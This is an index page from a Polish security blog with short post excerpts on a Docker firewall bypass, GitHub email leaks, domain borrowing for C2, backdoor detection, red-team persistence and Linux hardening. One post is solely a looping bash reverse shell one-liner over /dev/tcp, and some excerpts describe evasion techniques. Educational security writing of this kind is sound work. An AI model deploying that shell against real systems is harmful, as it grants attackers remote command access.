Napisał: Patryk Krawaczyński
30/06/2021 w Bezpieczeństwo
S
erwis NewsBlur 3 godziny po zakończeniu migracji swojej infrastruktury MongoDB na kontenery Docker doświadczył usunięcia danych. Otóż sam serwer miał włączoną zaporę sieciową UFW (ang. Uncomplicated Firewall) z ścisłą listą dozwolonych adresów IP. Co takiego się stało? Otóż okazało się, że decydując się na publikację portu MongoDB na kontenerze – Docker w standardzie robi swoją sztuczkę (znaną od 2014 roku) pod postacią dziury w zaporze otwierając dany port (tutaj: 27017) na świat. Proces ten jest opisany w dokumentacji:
This creates a firewall rule which maps a container port to a port on the Docker host to the outside world.
Wielu użytkowników jest zdziwiona takim zachowaniem – spodziewając się raczej odwrotnej polityki: świadomego włączenia funkcji otwierania portów niż konieczności ich wyłączenia (--iptables=false
), czy potrzebę definiowania reguł iptables na poziomie łańcucha mangle, a nie filter. Oczywiście cała ta sytuacja nie tłumaczy uruchomienia niezabezpieczonej bazy NoSQL w kontenerze.
Więcej informacji: How a Docker footgun led to a vandal deleting NewsBlur’s MongoDB database, Docker Network bypasses Firewall, no option to disable
Napisał: Patryk Krawaczyński
10/06/2021 w Bezpieczeństwo
B
ardzo wiele firm utrzymuje repozytoria publicznych projektów na popularnych serwisach takich jak Github oraz Gitlab. Na przykład listę loginów poszczególnych użytkowników w serwisie Github można uzyskać bardzo łatwo – wystarczy odwiedzić adres: https://github.com/orgs/$firma/people.
Plus iterując po poszczególnych projektach: https://github.com/$firma/$projekt/graphs/contributors można zebrać dość dużą ilość unikatowych użytkowników. Gdzie następuje wyciek? Otóż Github używa adresów e-mail powiązanych z kontem Github (można mieć ich więcej niż jeden – a często na jednym koncie łączy się prywatne i firmowe adresy) przy zatwierdzaniu kodu (ang. commit) oraz innych aktywnościach w profilu użytkownika. Kiedy użytkownik zatwierdza kod w publicznym repozytorium jego adres e-mail jest publikowany i staje się publicznie dostępny.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
01/06/2021 w Pen Test
W
ypożyczanie domen (ang. domain borrowing) jest ulepszoną techniką domain fronting. Tą ostatnią można łatwo wykryć jeśli w sieci znajduje się urządzenie deszyfrujące ruch HTTPS i porównuje wartości nagłówków SNI i HOST. Jednak wypożyczanie domen pozwala na ukrywanie ruchu C2 i innej komunikacji za pomocą CDN w celu obejścia zapór sieciowych i systemów IDS. Jak wygląda normalny, niepodejrzany ruch sieciowy, który się monitoruje, ale nie blokuje? Na pewno jest szyfrowany (HTTPS); odnosi się do domen z poprawnymi certyfikatami TLS, które są znane i mają dobrą reputację w sieci; nawet rozszyfrowany wygląda jak poprawny (SNI == HOST
); nie jest blokowany ze względu na możliwość utraty generycznego ruchu od dużego gracza w internecie.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
24/05/2021 w Bezpieczeństwo
Z
nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
11/05/2021 w Administracja
K
iedyś zestaw narzędzi dla Microsoft Windows znany pod nazwą SysInternals był przeznaczony tylko dla tego systemu operacyjnego. Od jakiegoś czasu narzędzie do monitorowania procesów o nazwie Process Monitor (znane również jako procmon) jest dostępne dla systemu Linux. Osoby, które chociaż raz pracowały z tym narzędziem na systemie okienek wiedzą, że jest to wygodne narzędzie do przeglądania aktywności wywołań systemowych w czasie rzeczywistym.
Proces instalacji ogranicza się do zarejestrowania repozytorium Microsoftu:
wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
Oraz wrzuceniu odpowiedniej paczki do systemu:
sudo apt-get update
sudo apt-get install procmon
Samo polecenie interfejsem graficznym przypomina htop. Uruchomienie śledzenia wszystkich procesów i wywołań systemowych w systemie można osiągnąć poprzez uruchomienie:
sudo procmon
Jeśli chcemy na przykład śledzić proces o ID = 20 i tylko wywołania systemowe odczytu, zapisu i otwierania wystarczy przekazać poleceniu składnie:
sudo procmon -p 20 -e read,write,openat
Więcej informacji: ProcMon for Linux, procmon -h
Napisał: Patryk Krawaczyński
05/05/2021 w Bezpieczeństwo
P
hishing korzysta z różnych technik przy rejestracji domen: typosquatting, cybersquatting, punycode, bitsquatting, homoglyph oraz homograph – ponieważ przekonująca nazwa domeny ma kluczowe znaczenie dla powodzenia każdego ataku phishingowego. Użytkownicy często popełniają błąd podczas pisania nazw domenowych – staje się to problemem kiedy klienci docierają do witryny naszej firmy, która ich zdaniem jest prawdziwa, a w rzeczywistości jest złośliwą kopią. W najlepszym przypadku tylko dezorientuje użytkownika, a w najgorszym instaluje złośliwe oprogramowanie i powoduje straty finansowe. Dlatego, jeśli jesteśmy odpowiedzialni za utrzymanie i bezpieczeństwo firmowej witryny – możemy wyszukiwać domeny o podobnych nazwach i sprawdzać, czy domeny te nie rozpowszechniają niebezpiecznych treści za pomocą strony (HTTP) lub poczty (SMTP) pod szyldem naszej firmy.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
24/04/2021 w Hacks & Scripts
while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done
Napisał: Patryk Krawaczyński
18/04/2021 w Bezpieczeństwo
U
sługa Colaboratory, w skrócie „Colab” to produkt firmy Google, który umożliwia każdemu pisanie i wykonywanie dowolnego kodu Pythona za pośrednictwem przeglądarki. Najczęściej wykorzystuje się go w szybkim przygotowaniu jakiegoś dowodu koncepcji w analizie danych lub napisania kawałka skryptu. Z technicznego punktu widzenia Colab to hostowana usługa oparta na rozwiązaniu Jupyter, która nie wymaga żadnej konfiguracji, a jednocześnie zapewnia bezpłatny dostęp do zasobów obliczeniowych, w tym procesorów graficznych*.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
13/04/2021 w Bezpieczeństwo, Pen Test
W
yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron
lub innej klasycznej lokalizacji (np. rc.local
), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
07/04/2021 w Bezpieczeństwo
F
irma OVH stworzyła modułowy framework napisany głównie w języku powłoki bash, który za pomocą skryptów sprawdza rekomendacje z CIS (ang. Center for Internet Security) dla systemu Debian w wersji 9/10. Zgodnie z filozofią „zjedz własną karmę dla psa” (ang. eat your own dog food), która opisuje wykorzystywanie własnych produktów lub usług do swoich, wewnętrznych działań firmowych – projekt ten jest wykorzystywany do hartowania systemów OVH, które mają spełniać standard PCI DSS (ang. Payment Card Industry Data Security Standard). Na postawie tego projektu powstał również inny o nazwie harbian-audit, który rozszerzył działanie o wytyczne z STIG (ang. Security Technical Implementation Guide) dla systemu CentOS 8 oraz Ubuntu 16.04. Możemy w nim również znaleźć autorskie wytyczne stworzone przez społeczność HardenedLinux.
Ostatni komentarz :